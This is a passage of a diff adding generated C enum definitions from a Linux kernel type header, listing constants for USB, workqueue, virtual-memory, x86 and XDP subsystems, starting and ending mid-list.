ENTRY_TXD_ACK = 7, + ENTRY_TXD_RETRY_MODE = 8, + ENTRY_TXD_ENCRYPT = 9, + ENTRY_TXD_ENCRYPT_PAIRWISE = 10, + ENTRY_TXD_ENCRYPT_IV = 11, + ENTRY_TXD_ENCRYPT_MMIC = 12, + ENTRY_TXD_HT_AMPDU = 13, + ENTRY_TXD_HT_BW_40 = 14, + ENTRY_TXD_HT_SHORT_GI = 15, + ENTRY_TXD_HT_MIMO_PS = 16, +}; + +enum txop { + TXOP_HTTXOP = 0, + TXOP_PIFS = 1, + TXOP_SIFS = 2, + TXOP_BACKOFF = 3, +}; + +enum txq_info_flags { + IEEE80211_TXQ_STOP = 0, + IEEE80211_TXQ_AMPDU = 1, + IEEE80211_TXQ_NO_AMSDU = 2, + IEEE80211_TXQ_DIRTY = 3, +}; + +enum txtime_flags { + SOF_TXTIME_DEADLINE_MODE = 1, + SOF_TXTIME_REPORT_ERRORS = 2, + SOF_TXTIME_FLAGS_LAST = 2, + SOF_TXTIME_FLAGS_MASK = 3, +}; + +enum uart_pm_state { + UART_PM_STATE_ON = 0, + UART_PM_STATE_OFF = 3, + UART_PM_STATE_UNDEFINED = 4, +}; + +enum uclamp_id { + UCLAMP_MIN = 0, + UCLAMP_MAX = 1, + UCLAMP_CNT = 2, +}; + +enum ucode_state { + UCODE_OK = 0, + UCODE_NEW = 1, + UCODE_NEW_SAFE = 2, + UCODE_UPDATED = 3, + UCODE_NFOUND = 4, + UCODE_ERROR = 5, + UCODE_TIMEOUT = 6, + UCODE_OFFLINE = 7, +}; + +enum ucount_type { + UCOUNT_USER_NAMESPACES = 0, + UCOUNT_PID_NAMESPACES = 1, + UCOUNT_UTS_NAMESPACES = 2, + UCOUNT_IPC_NAMESPACES = 3, + UCOUNT_NET_NAMESPACES = 4, + UCOUNT_MNT_NAMESPACES = 5, + UCOUNT_CGROUP_NAMESPACES = 6, + UCOUNT_TIME_NAMESPACES = 7, + UCOUNT_INOTIFY_INSTANCES = 8, + UCOUNT_INOTIFY_WATCHES = 9, + UCOUNT_COUNTS = 10, +}; + +enum udp_conntrack { + UDP_CT_UNREPLIED = 0, + UDP_CT_REPLIED = 1, + UDP_CT_MAX = 2, +}; + +enum udp_tunnel_nic_info_flags { + UDP_TUNNEL_NIC_INFO_MAY_SLEEP = 1, + UDP_TUNNEL_NIC_INFO_OPEN_ONLY = 2, + UDP_TUNNEL_NIC_INFO_IPV4_ONLY = 4, + UDP_TUNNEL_NIC_INFO_STATIC_IANA_VXLAN = 8, +}; + +enum umh_disable_depth { + UMH_ENABLED = 0, + UMH_FREEZING = 1, + UMH_DISABLED = 2, +}; + +enum umount_tree_flags { + UMOUNT_SYNC = 1, + UMOUNT_PROPAGATE = 2, + UMOUNT_CONNECTED = 4, +}; + +enum uncore_access_type { + UNCORE_ACCESS_MSR = 0, + UNCORE_ACCESS_MMIO = 1, + UNCORE_ACCESS_PCI = 2, + UNCORE_ACCESS_MAX = 3, +}; + +enum unix_vertex_index { + UNIX_VERTEX_INDEX_MARK1 = 0, + UNIX_VERTEX_INDEX_MARK2 = 1, + UNIX_VERTEX_INDEX_START = 2, +}; + +enum uprobe_task_state { + UTASK_RUNNING = 0, + UTASK_SSTEP = 1, + UTASK_SSTEP_ACK = 2, + UTASK_SSTEP_TRAPPED = 3, +}; + +enum usb3_link_state { + USB3_LPM_U0 = 0, + USB3_LPM_U1 = 1, + USB3_LPM_U2 = 2, + USB3_LPM_U3 = 3, +}; + +enum usb_charger_state { + USB_CHARGER_DEFAULT = 0, + USB_CHARGER_PRESENT = 1, + USB_CHARGER_ABSENT = 2, +}; + +enum usb_charger_type { + UNKNOWN_TYPE = 0, + SDP_TYPE = 1, + DCP_TYPE = 2, + CDP_TYPE = 3, + ACA_TYPE = 4, +}; + +enum usb_dev_authorize_policy { + USB_DEVICE_AUTHORIZE_NONE = 0, + USB_DEVICE_AUTHORIZE_ALL = 1, + USB_DEVICE_AUTHORIZE_INTERNAL = 2, +}; + +enum usb_device_speed { + USB_SPEED_UNKNOWN = 0, + USB_SPEED_LOW = 1, + USB_SPEED_FULL = 2, + USB_SPEED_HIGH = 3, + USB_SPEED_WIRELESS = 4, + USB_SPEED_SUPER = 5, + USB_SPEED_SUPER_PLUS = 6, +}; + +enum usb_device_state { + USB_STATE_NOTATTACHED = 0, + USB_STATE_ATTACHED = 1, + USB_STATE_POWERED = 2, + USB_STATE_RECONNECTING = 3, + USB_STATE_UNAUTHENTICATED = 4, + USB_STATE_DEFAULT = 5, + USB_STATE_ADDRESS = 6, + USB_STATE_CONFIGURED = 7, + USB_STATE_SUSPENDED = 8, +}; + +enum usb_dr_mode { + USB_DR_MODE_UNKNOWN = 0, + USB_DR_MODE_HOST = 1, + USB_DR_MODE_PERIPHERAL = 2, + USB_DR_MODE_OTG = 3, +}; + +enum usb_interface_condition { + USB_INTERFACE_UNBOUND = 0, + USB_INTERFACE_BINDING = 1, + USB_INTERFACE_BOUND = 2, + USB_INTERFACE_UNBINDING = 3, +}; + +enum usb_led_event { + USB_LED_EVENT_HOST = 0, + USB_LED_EVENT_GADGET = 1, +}; + +enum usb_otg_state { + OTG_STATE_UNDEFINED = 0, + OTG_STATE_B_IDLE = 1, + OTG_STATE_B_SRP_INIT = 2, + OTG_STATE_B_PERIPHERAL = 3, + OTG_STATE_B_WAIT_ACON = 4, + OTG_STATE_B_HOST = 5, + OTG_STATE_A_IDLE = 6, + OTG_STATE_A_WAIT_VRISE = 7, + OTG_STATE_A_WAIT_BCON = 8, + OTG_STATE_A_HOST = 9, + OTG_STATE_A_SUSPEND = 10, + OTG_STATE_A_PERIPHERAL = 11, + OTG_STATE_A_WAIT_VFALL = 12, + OTG_STATE_A_VBUS_ERR = 13, +}; + +enum usb_phy_events { + USB_EVENT_NONE = 0, + USB_EVENT_VBUS = 1, + USB_EVENT_ID = 2, + USB_EVENT_CHARGER = 3, + USB_EVENT_ENUMERATED = 4, +}; + +enum usb_phy_type { + USB_PHY_TYPE_UNDEFINED = 0, + USB_PHY_TYPE_USB2 = 1, + USB_PHY_TYPE_USB3 = 2, +}; + +enum usb_port_connect_type { + USB_PORT_CONNECT_TYPE_UNKNOWN = 0, + USB_PORT_CONNECT_TYPE_HOT_PLUG = 1, + USB_PORT_CONNECT_TYPE_HARD_WIRED = 2, + USB_PORT_NOT_USED = 3, +}; + +enum usb_ssp_rate { + USB_SSP_GEN_UNKNOWN = 0, + USB_SSP_GEN_2x1 = 1, + USB_SSP_GEN_1x2 = 2, + USB_SSP_GEN_2x2 = 3, +}; + +enum usb_wireless_status { + USB_WIRELESS_STATUS_NA = 0, + USB_WIRELESS_STATUS_DISCONNECTED = 1, + USB_WIRELESS_STATUS_CONNECTED = 2, +}; + +enum utf16_endian { + UTF16_HOST_ENDIAN = 0, + UTF16_LITTLE_ENDIAN = 1, + UTF16_BIG_ENDIAN = 2, +}; + +enum uts_proc { + UTS_PROC_ARCH = 0, + UTS_PROC_OSTYPE = 1, + UTS_PROC_OSRELEASE = 2, + UTS_PROC_VERSION = 3, + UTS_PROC_HOSTNAME = 4, + UTS_PROC_DOMAINNAME = 5, +}; + +enum uv_system_type { + UV_NONE = 0, + UV_LEGACY_APIC = 1, + UV_X2APIC = 2, +}; + +enum v4l2_fwnode_bus_type { + V4L2_FWNODE_BUS_TYPE_GUESS = 0, + V4L2_FWNODE_BUS_TYPE_CSI2_CPHY = 1, + V4L2_FWNODE_BUS_TYPE_CSI1 = 2, + V4L2_FWNODE_BUS_TYPE_CCP2 = 3, + V4L2_FWNODE_BUS_TYPE_CSI2_DPHY = 4, + V4L2_FWNODE_BUS_TYPE_PARALLEL = 5, + V4L2_FWNODE_BUS_TYPE_BT656 = 6, + V4L2_FWNODE_BUS_TYPE_DPI = 7, + NR_OF_V4L2_FWNODE_BUS_TYPE = 8, +}; + +enum vc_ctl_state { + ESnormal = 0, + ESesc = 1, + ESsquare = 2, + ESgetpars = 3, + ESfunckey = 4, + EShash = 5, + ESsetG0 = 6, + ESsetG1 = 7, + ESpercent = 8, + EScsiignore = 9, + ESnonstd = 10, + ESpalette = 11, + ESosc = 12, + ESANSI_first = 12, + ESapc = 13, + ESpm = 14, + ESdcs = 15, + ESANSI_last = 15, +}; + +enum vc_intensity { + VCI_HALF_BRIGHT = 0, + VCI_NORMAL = 1, + VCI_BOLD = 2, + VCI_MASK = 3, +}; + +enum vdso_clock_mode { + VDSO_CLOCKMODE_NONE = 0, + VDSO_CLOCKMODE_TSC = 1, + VDSO_CLOCKMODE_PVCLOCK = 2, + VDSO_CLOCKMODE_HVCLOCK = 3, + VDSO_CLOCKMODE_MAX = 4, + VDSO_CLOCKMODE_TIMENS = 2147483647, +}; + +enum verifier_phase { + CHECK_META = 0, + CHECK_TYPE = 1, +}; + +enum vesa_blank_mode { + VESA_NO_BLANKING = 0, + VESA_VSYNC_SUSPEND = 1, + VESA_HSYNC_SUSPEND = 2, + VESA_POWERDOWN = 3, + VESA_BLANK_MAX = 3, +}; + +enum visit_state { + NOT_VISITED = 0, + VISITED = 1, + RESOLVED = 2, +}; + +enum vm_event_item { + PGPGIN = 0, + PGPGOUT = 1, + PSWPIN = 2, + PSWPOUT = 3, + PGALLOC_DMA = 4, + PGALLOC_DMA32 = 5, + PGALLOC_NORMAL = 6, + PGALLOC_MOVABLE = 7, + ALLOCSTALL_DMA = 8, + ALLOCSTALL_DMA32 = 9, + ALLOCSTALL_NORMAL = 10, + ALLOCSTALL_MOVABLE = 11, + PGSCAN_SKIP_DMA = 12, + PGSCAN_SKIP_DMA32 = 13, + PGSCAN_SKIP_NORMAL = 14, + PGSCAN_SKIP_MOVABLE = 15, + PGFREE = 16, + PGACTIVATE = 17, + PGDEACTIVATE = 18, + PGLAZYFREE = 19, + PGFAULT = 20, + PGMAJFAULT = 21, + PGLAZYFREED = 22, + PGREFILL = 23, + PGREUSE = 24, + PGSTEAL_KSWAPD = 25, + PGSTEAL_DIRECT = 26, + PGSTEAL_KHUGEPAGED = 27, + PGSCAN_KSWAPD = 28, + PGSCAN_DIRECT = 29, + PGSCAN_KHUGEPAGED = 30, + PGSCAN_DIRECT_THROTTLE = 31, + PGSCAN_ANON = 32, + PGSCAN_FILE = 33, + PGSTEAL_ANON = 34, + PGSTEAL_FILE = 35, + PGSCAN_ZONE_RECLAIM_SUCCESS = 36, + PGSCAN_ZONE_RECLAIM_FAILED = 37, + PGINODESTEAL = 38, + SLABS_SCANNED = 39, + KSWAPD_INODESTEAL = 40, + KSWAPD_LOW_WMARK_HIT_QUICKLY = 41, + KSWAPD_HIGH_WMARK_HIT_QUICKLY = 42, + PAGEOUTRUN = 43, + PGROTATED = 44, + DROP_PAGECACHE = 45, + DROP_SLAB = 46, + OOM_KILL = 47, + PGMIGRATE_SUCCESS = 48, + PGMIGRATE_FAIL = 49, + THP_MIGRATION_SUCCESS = 50, + THP_MIGRATION_FAIL = 51, + THP_MIGRATION_SPLIT = 52, + COMPACTMIGRATE_SCANNED = 53, + COMPACTFREE_SCANNED = 54, + COMPACTISOLATED = 55, + COMPACTSTALL = 56, + COMPACTFAIL = 57, + COMPACTSUCCESS = 58, + KCOMPACTD_WAKE = 59, + KCOMPACTD_MIGRATE_SCANNED = 60, + KCOMPACTD_FREE_SCANNED = 61, + HTLB_BUDDY_PGALLOC = 62, + HTLB_BUDDY_PGALLOC_FAIL = 63, + UNEVICTABLE_PGCULLED = 64, + UNEVICTABLE_PGSCANNED = 65, + UNEVICTABLE_PGRESCUED = 66, + UNEVICTABLE_PGMLOCKED = 67, + UNEVICTABLE_PGMUNLOCKED = 68, + UNEVICTABLE_PGCLEARED = 69, + UNEVICTABLE_PGSTRANDED = 70, + THP_FAULT_ALLOC = 71, + THP_FAULT_FALLBACK = 72, + THP_FAULT_FALLBACK_CHARGE = 73, + THP_COLLAPSE_ALLOC = 74, + THP_COLLAPSE_ALLOC_FAILED = 75, + THP_FILE_ALLOC = 76, + THP_FILE_FALLBACK = 77, + THP_FILE_FALLBACK_CHARGE = 78, + THP_FILE_MAPPED = 79, + THP_SPLIT_PAGE = 80, + THP_SPLIT_PAGE_FAILED = 81, + THP_DEFERRED_SPLIT_PAGE = 82, + THP_UNDERUSED_SPLIT_PAGE = 83, + THP_SPLIT_PMD = 84, + THP_SCAN_EXCEED_NONE_PTE = 85, + THP_SCAN_EXCEED_SWAP_PTE = 86, + THP_SCAN_EXCEED_SHARED_PTE = 87, + THP_SPLIT_PUD = 88, + THP_ZERO_PAGE_ALLOC = 89, + THP_ZERO_PAGE_ALLOC_FAILED = 90, + THP_SWPOUT = 91, + THP_SWPOUT_FALLBACK = 92, + SWAP_RA = 93, + SWAP_RA_HIT = 94, + ZSWPIN = 95, + ZSWPOUT = 96, + ZSWPWB = 97, + DIRECT_MAP_LEVEL2_SPLIT = 98, + DIRECT_MAP_LEVEL3_SPLIT = 99, + NR_VM_EVENT_ITEMS = 100, +}; + +enum vm_fault_reason { + VM_FAULT_OOM = 1, + VM_FAULT_SIGBUS = 2, + VM_FAULT_MAJOR = 4, + VM_FAULT_HWPOISON = 16, + VM_FAULT_HWPOISON_LARGE = 32, + VM_FAULT_SIGSEGV = 64, + VM_FAULT_NOPAGE = 256, + VM_FAULT_LOCKED = 512, + VM_FAULT_RETRY = 1024, + VM_FAULT_FALLBACK = 2048, + VM_FAULT_DONE_COW = 4096, + VM_FAULT_NEEDDSYNC = 8192, + VM_FAULT_COMPLETED = 16384, + VM_FAULT_HINDEX_MASK = 983040, +}; + +enum vm_stat_item { + NR_DIRTY_THRESHOLD = 0, + NR_DIRTY_BG_THRESHOLD = 1, + NR_MEMMAP_PAGES = 2, + NR_MEMMAP_BOOT_PAGES = 3, + NR_VM_STAT_ITEMS = 4, +}; + +enum vma_merge_state { + VMA_MERGE_START = 0, + VMA_MERGE_ERROR_NOMEM = 1, + VMA_MERGE_NOMERGE = 2, + VMA_MERGE_SUCCESS = 3, +}; + +enum vma_resv_mode { + VMA_NEEDS_RESV = 0, + VMA_COMMIT_RESV = 1, + VMA_END_RESV = 2, + VMA_ADD_RESV = 3, + VMA_DEL_RESV = 4, +}; + +enum vmpressure_levels { + VMPRESSURE_LOW = 0, + VMPRESSURE_MEDIUM = 1, + VMPRESSURE_CRITICAL = 2, + VMPRESSURE_NUM_LEVELS = 3, +}; + +enum vmpressure_modes { + VMPRESSURE_NO_PASSTHROUGH = 0, + VMPRESSURE_HIERARCHY = 1, + VMPRESSURE_LOCAL = 2, + VMPRESSURE_NUM_MODES = 3, +}; + +enum vmscan_throttle_state { + VMSCAN_THROTTLE_WRITEBACK = 0, + VMSCAN_THROTTLE_ISOLATED = 1, + VMSCAN_THROTTLE_NOPROGRESS = 2, + VMSCAN_THROTTLE_CONGESTED = 3, + NR_VMSCAN_THROTTLE = 4, +}; + +enum vmx_feature_leafs { + MISC_FEATURES = 0, + PRIMARY_CTLS = 1, + SECONDARY_CTLS = 2, + TERTIARY_CTLS_LOW = 3, + TERTIARY_CTLS_HIGH = 4, + NR_VMX_FEATURE_WORDS = 5, +}; + +enum vmx_l1d_flush_state { + VMENTER_L1D_FLUSH_AUTO = 0, + VMENTER_L1D_FLUSH_NEVER = 1, + VMENTER_L1D_FLUSH_COND = 2, + VMENTER_L1D_FLUSH_ALWAYS = 3, + VMENTER_L1D_FLUSH_EPT_DISABLED = 4, + VMENTER_L1D_FLUSH_NOT_REQUIRED = 5, +}; + +enum vp_vq_vector_policy { + VP_VQ_VECTOR_POLICY_EACH = 0, + VP_VQ_VECTOR_POLICY_SHARED_SLOW = 1, + VP_VQ_VECTOR_POLICY_SHARED = 2, +}; + +enum vtime_state { + VTIME_INACTIVE = 0, + VTIME_IDLE = 1, + VTIME_SYS = 2, + VTIME_USER = 3, + VTIME_GUEST = 4, +}; + +enum wb_reason { + WB_REASON_BACKGROUND = 0, + WB_REASON_VMSCAN = 1, + WB_REASON_SYNC = 2, + WB_REASON_PERIODIC = 3, + WB_REASON_LAPTOP_TIMER = 4, + WB_REASON_FS_FREE_SPACE = 5, + WB_REASON_FORKER_THREAD = 6, + WB_REASON_FOREIGN_FLUSH = 7, + WB_REASON_MAX = 8, +}; + +enum wb_stat_item { + WB_RECLAIMABLE = 0, + WB_WRITEBACK = 1, + WB_DIRTIED = 2, + WB_WRITTEN = 3, + NR_WB_STAT_ITEMS = 4, +}; + +enum wb_state { + WB_registered = 0, + WB_writeback_running = 1, + WB_has_dirty_io = 2, + WB_start_all = 3, +}; + +enum wbt_flags { + WBT_TRACKED = 1, + WBT_READ = 2, + WBT_SWAP = 4, + WBT_DISCARD = 8, + WBT_NR_BITS = 4, +}; + +enum wd_read_status { + WD_READ_SUCCESS = 0, + WD_READ_UNSTABLE = 1, + WD_READ_SKIP = 2, +}; + +enum which_selector { + FS = 0, + GS = 1, +}; + +enum wiphy_flags { + WIPHY_FLAG_SUPPORTS_EXT_KEK_KCK = 1, + WIPHY_FLAG_SUPPORTS_MLO = 2, + WIPHY_FLAG_SPLIT_SCAN_6GHZ = 4, + WIPHY_FLAG_NETNS_OK = 8, + WIPHY_FLAG_PS_ON_BY_DEFAULT = 16, + WIPHY_FLAG_4ADDR_AP = 32, + WIPHY_FLAG_4ADDR_STATION = 64, + WIPHY_FLAG_CONTROL_PORT_PROTOCOL = 128, + WIPHY_FLAG_IBSS_RSN = 256, + WIPHY_FLAG_DISABLE_WEXT = 512, + WIPHY_FLAG_MESH_AUTH = 1024, + WIPHY_FLAG_SUPPORTS_EXT_KCK_32 = 2048, + WIPHY_FLAG_SUPPORTS_NSTR_NONPRIMARY = 4096, + WIPHY_FLAG_SUPPORTS_FW_ROAM = 8192, + WIPHY_FLAG_AP_UAPSD = 16384, + WIPHY_FLAG_SUPPORTS_TDLS = 32768, + WIPHY_FLAG_TDLS_EXTERNAL_SETUP = 65536, + WIPHY_FLAG_HAVE_AP_SME = 131072, + WIPHY_FLAG_REPORTS_OBSS = 262144, + WIPHY_FLAG_AP_PROBE_RESP_OFFLOAD = 524288, + WIPHY_FLAG_OFFCHAN_TX = 1048576, + WIPHY_FLAG_HAS_REMAIN_ON_CHANNEL = 2097152, + WIPHY_FLAG_SUPPORTS_5_10_MHZ = 4194304, + WIPHY_FLAG_HAS_CHANNEL_SWITCH = 8388608, + WIPHY_FLAG_NOTIFY_REGDOM_BY_DRIVER = 16777216, + WIPHY_FLAG_CHANNEL_CHANGE_ON_BEACON = 33554432, +}; + +enum wiphy_opmode_flag { + STA_OPMODE_MAX_BW_CHANGED = 1, + STA_OPMODE_SMPS_MODE_CHANGED = 2, + STA_OPMODE_N_SS_CHANGED = 4, +}; + +enum wiphy_params_flags { + WIPHY_PARAM_RETRY_SHORT = 1, + WIPHY_PARAM_RETRY_LONG = 2, + WIPHY_PARAM_FRAG_THRESHOLD = 4, + WIPHY_PARAM_RTS_THRESHOLD = 8, + WIPHY_PARAM_COVERAGE_CLASS = 16, + WIPHY_PARAM_DYN_ACK = 32, + WIPHY_PARAM_TXQ_LIMIT = 64, + WIPHY_PARAM_TXQ_MEMORY_LIMIT = 128, + WIPHY_PARAM_TXQ_QUANTUM = 256, +}; + +enum wiphy_vendor_command_flags { + WIPHY_VENDOR_CMD_NEED_WDEV = 1, + WIPHY_VENDOR_CMD_NEED_NETDEV = 2, + WIPHY_VENDOR_CMD_NEED_RUNNING = 4, +}; + +enum wiphy_wowlan_support_flags { + WIPHY_WOWLAN_ANY = 1, + WIPHY_WOWLAN_MAGIC_PKT = 2, + WIPHY_WOWLAN_DISCONNECT = 4, + WIPHY_WOWLAN_SUPPORTS_GTK_REKEY = 8, + WIPHY_WOWLAN_GTK_REKEY_FAILURE = 16, + WIPHY_WOWLAN_EAP_IDENTITY_REQ = 32, + WIPHY_WOWLAN_4WAY_HANDSHAKE = 64, + WIPHY_WOWLAN_RFKILL_RELEASE = 128, + WIPHY_WOWLAN_NET_DETECT = 256, +}; + +enum work_bits { + WORK_STRUCT_PENDING_BIT = 0, + WORK_STRUCT_INACTIVE_BIT = 1, + WORK_STRUCT_PWQ_BIT = 2, + WORK_STRUCT_LINKED_BIT = 3, + WORK_STRUCT_FLAG_BITS = 4, + WORK_STRUCT_COLOR_SHIFT = 4, + WORK_STRUCT_COLOR_BITS = 4, + WORK_STRUCT_PWQ_SHIFT = 8, + WORK_OFFQ_FLAG_SHIFT = 4, + WORK_OFFQ_BH_BIT = 4, + WORK_OFFQ_FLAG_END = 5, + WORK_OFFQ_FLAG_BITS = 1, + WORK_OFFQ_DISABLE_SHIFT = 5, + WORK_OFFQ_DISABLE_BITS = 16, + WORK_OFFQ_POOL_SHIFT = 21, + WORK_OFFQ_LEFT = 43, + WORK_OFFQ_POOL_BITS = 31, +}; + +enum work_cancel_flags { + WORK_CANCEL_DELAYED = 1, + WORK_CANCEL_DISABLE = 2, +}; + +enum work_flags { + WORK_STRUCT_PENDING = 1, + WORK_STRUCT_INACTIVE = 2, + WORK_STRUCT_PWQ = 4, + WORK_STRUCT_LINKED = 8, + WORK_STRUCT_STATIC = 0, +}; + +enum worker_flags { + WORKER_DIE = 2, + WORKER_IDLE = 4, + WORKER_PREP = 8, + WORKER_CPU_INTENSIVE = 64, + WORKER_UNBOUND = 128, + WORKER_REBOUND = 256, + WORKER_NOT_RUNNING = 456, +}; + +enum worker_pool_flags { + POOL_BH = 1, + POOL_MANAGER_ACTIVE = 2, + POOL_DISASSOCIATED = 4, + POOL_BH_DRAINING = 8, +}; + +enum wq_affn_scope { + WQ_AFFN_DFL = 0, + WQ_AFFN_CPU = 1, + WQ_AFFN_SMT = 2, + WQ_AFFN_CACHE = 3, + WQ_AFFN_NUMA = 4, + WQ_AFFN_SYSTEM = 5, + WQ_AFFN_NR_TYPES = 6, +}; + +enum wq_consts { + WQ_MAX_ACTIVE = 512, + WQ_UNBOUND_MAX_ACTIVE = 512, + WQ_DFL_ACTIVE = 256, + WQ_DFL_MIN_ACTIVE = 8, +}; + +enum wq_flags { + WQ_BH = 1, + WQ_UNBOUND = 2, + WQ_FREEZABLE = 4, + WQ_MEM_RECLAIM = 8, + WQ_HIGHPRI = 16, + WQ_CPU_INTENSIVE = 32, + WQ_SYSFS = 64, + WQ_POWER_EFFICIENT = 128, + __WQ_DESTROYING = 32768, + __WQ_DRAINING = 65536, + __WQ_ORDERED = 131072, + __WQ_LEGACY = 262144, + __WQ_BH_ALLOWS = 17, +}; + +enum wq_internal_consts { + NR_STD_WORKER_POOLS = 2, + UNBOUND_POOL_HASH_ORDER = 6, + BUSY_WORKER_HASH_ORDER = 6, + MAX_IDLE_WORKERS_RATIO = 4, + IDLE_WORKER_TIMEOUT = 300000, + MAYDAY_INITIAL_TIMEOUT = 10, + MAYDAY_INTERVAL = 100, + CREATE_COOLDOWN = 1000, + RESCUER_NICE_LEVEL = -20, + HIGHPRI_NICE_LEVEL = -20, + WQ_NAME_LEN = 32, + WORKER_ID_LEN = 42, +}; + +enum wq_misc_consts { + WORK_NR_COLORS = 16, + WORK_CPU_UNBOUND = 8192, + WORK_BUSY_PENDING = 1, + WORK_BUSY_RUNNING = 2, + WORKER_DESC_LEN = 32, +}; + +enum writeback_sync_modes { + WB_SYNC_NONE = 0, + WB_SYNC_ALL = 1, +}; + +enum x86_hardware_subarch { + X86_SUBARCH_PC = 0, + X86_SUBARCH_LGUEST = 1, + X86_SUBARCH_XEN = 2, + X86_SUBARCH_INTEL_MID = 3, + X86_SUBARCH_CE4100 = 4, + X86_NR_SUBARCHS = 5, +}; + +enum x86_hypervisor_type { + X86_HYPER_NATIVE = 0, + X86_HYPER_VMWARE = 1, + X86_HYPER_MS_HYPERV = 2, + X86_HYPER_XEN_PV = 3, + X86_HYPER_XEN_HVM = 4, + X86_HYPER_KVM = 5, + X86_HYPER_JAILHOUSE = 6, + X86_HYPER_ACRN = 7, +}; + +enum x86_legacy_i8042_state { + X86_LEGACY_I8042_PLATFORM_ABSENT = 0, + X86_LEGACY_I8042_FIRMWARE_ABSENT = 1, + X86_LEGACY_I8042_EXPECTED_PRESENT = 2, +}; + +enum x86_pf_error_code { + X86_PF_PROT = 1, + X86_PF_WRITE = 2, + X86_PF_USER = 4, + X86_PF_RSVD = 8, + X86_PF_INSTR = 16, + X86_PF_PK = 32, + X86_PF_SHSTK = 64, + X86_PF_SGX = 32768, + X86_PF_RMP = 2147483648, +}; + +enum x86_regset_32 { + REGSET32_GENERAL = 0, + REGSET32_FP = 1, + REGSET32_XFP = 2, + REGSET32_XSTATE = 3, + REGSET32_TLS = 4, + REGSET32_IOPERM = 5, +}; + +enum x86_regset_64 { + REGSET64_GENERAL = 0, + REGSET64_FP = 1, + REGSET64_IOPERM = 2, + REGSET64_XSTATE = 3, + REGSET64_SSP = 4, +}; + +enum x86_topology_domains { + TOPO_SMT_DOMAIN = 0, + TOPO_CORE_DOMAIN = 1, + TOPO_MODULE_DOMAIN = 2, + TOPO_TILE_DOMAIN = 3, + TOPO_DIE_DOMAIN = 4, + TOPO_DIEGRP_DOMAIN = 5, + TOPO_PKG_DOMAIN = 6, + TOPO_MAX_DOMAIN = 7, +}; + +enum xa_lock_type { + XA_LOCK_IRQ = 1, + XA_LOCK_BH = 2, +}; + +enum xdp_action { + XDP_ABORTED = 0, + XDP_DROP = 1, + XDP_PASS = 2, + XDP_TX = 3, + XDP_REDIRECT = 4, +}; + +enum xdp_buff_flags { + XDP_FLAGS_HAS_FRAGS = 1, + XDP_FLAGS_FRAGS_PF_MEMALLOC = 2, +}; + +enum xdp_mem_type { + MEM_TYPE_PAGE_SHARED = 0, + MEM_TYPE_PAGE_ORDER0 = 1, + MEM_TYPE_PAGE_POOL = 2, + MEM_TYPE_XSK_BUFF_POOL = 3, + MEM_TYPE_MAX = 4, +}; + +enum xdp_rss_hash_type { + XDP_RSS_L3_IPV4 = 1, + XDP_RSS_L3_IPV6 = 2, + XDP_RSS_L3_DYNHDR = 4, + XDP_RSS_L4 = 8, + XDP_RSS_L4_TCP = 16, + XDP_RSS_L4_UDP = 32, + XDP_RSS_L4_SCTP = 64, + XDP_RSS_L4_IPSEC = 128, + XDP_RSS_L4_ICMP = 256, + XDP_RSS_TYPE_NONE = 0, + XDP_RSS_TYPE_L2 = 0, + XDP_RSS_TYPE_L3_IPV4 = 1, + XDP_RSS_TYPE_L3_IPV6 = 2, + XDP_RSS_TYPE_L3_IPV4_OPT = 5, + XDP_RSS_TYPE_L3_IPV6_EX = 6, + XDP_RSS_TYPE_L4_ANY = 8, + XDP_RSS_TYPE_L4_IPV4_TCP = 25, + XDP_RSS_TYPE_L4_IPV4_UDP = 41, + XDP_RSS_TYPE_L4_IPV4_SCTP = 73, + XDP_RSS_TYPE_L4_IPV4_IPSEC = 137, + XDP_RSS_TYPE_L4_IPV4_ICMP = 265, + XDP_RSS_TYPE_L4_IPV6_TCP = 26, + XDP_RSS_TYPE_L4_IPV6_UDP = 42, + XDP_RSS_TYPE_L4_IPV6_SCTP = 74, + XDP_RSS_TYPE_L4_IPV6_IPSEC = 138, + XDP_RSS_TYPE_L4_IPV6_ICMP = 266, + XDP_RSS_TYPE_L4_IPV6_TCP_EX = 30, + XDP_RSS_TYPE_L4_IPV6_UDP_EX = 46, + XDP_RSS_TYPE_L4_IPV6_SCTP_EX = 78, +}; + +enum xdp_rx_metadata { + XDP_METADATA_KFUNC_RX_TIMESTAMP = 0, + XDP_METADATA_KFUNC_RX_HASH = 1, + XDP_METADATA_KFUNC_RX_VLAN_TAG = 2, + MAX_XDP_METADATA_KFUNC = 3, +}; + +enum xfeature { + XFEATURE_FP = 0, + XFEATURE_SSE = 1, + XFEATURE_YMM = 2, + XFEATURE_BNDREGS = 3, + XFEATURE_BNDCSR = 4, + XFEATURE_OPMASK = 5, + XFEATURE_ZMM_Hi256 = 6, + XFEATURE_Hi16_ZMM = 7, + XFEATURE_PT_UNIMPLEMENTED_SO_FAR = 8, + XFEATURE_PKRU = 9, + XFEATURE_PASID = 10, + XFEATURE_CET_USER = 11, + XFEATURE_CET_KERNEL_UNUSED = 12, + XFEATURE_RSRVD_COMP_13 = 13, + XFEATURE_RSRVD_COMP_14 = 14, + XFEATURE_LBR = 15, + XFEATURE_RSRVD_COMP_16 = 16, + XFEATURE_XTILE_CFG = 17, + XFEATURE_XTILE_DATA = 18, + XFEATURE_MAX = 19, +}; + +enum xfer_buf_dir { + TO_XFER_BUF = 0, + FROM_XFER_BUF = 1, +}; + +enum xfrm_replay_mode { + XFRM_REPLAY_MODE_LEGACY = 0, + XFRM_REPLAY_MODE_BMP = 1, + XFRM_REPLAY_MODE_ESN = 2, +}; + +enum xhci_cancelled_td_status { + TD_DIRTY = 0, + TD_HALTED = 1, + TD_CLEARING_CACHE = 2, + TD_CLEARING_CACHE_DEFERRED = 3, + TD_CLEARED = 4, +}; + +enum xhci_ep_reset_type { + EP_HARD_RESET = 0, + EP_SOFT_RESET = 1, +}; + +enum xhci_overhead_type { + LS_OVERHEAD_TYPE = 0, + FS_OVERHEAD_TYPE = 1, + HS_OVERHEAD_TYPE = 2, +}; + +enum xhci_ring_type { + TYPE_CTRL = 0, + TYPE_ISOC = 1, + TYPE_BULK = 2, + TYPE_INTR = 3, + TYPE_STREAM = 4, + TYPE_COMMAND = 5, + TYPE_EVENT = 6, +}; + +enum xhci_setup_dev { + SETUP_CONTEXT_ONLY = 0, + SETUP_CONTEXT_ADDRESS = 1, +}; + +enum xmp_state { + STATE_INACTIVE___9 = 0, + STATE_LEADER_PULSE = 1, + STATE_NIBBLE_SPACE = 2, +}; + +enum xps_map_type { + XPS_CPUS = 0, + XPS_RXQS = 1, + XPS_MAPS_MAX = 2, +}; + +enum xstate_copy_mode { + XSTATE_COPY_FP = 0, + XSTATE_COPY_FX = 1, + XSTATE_COPY_XSAVE = 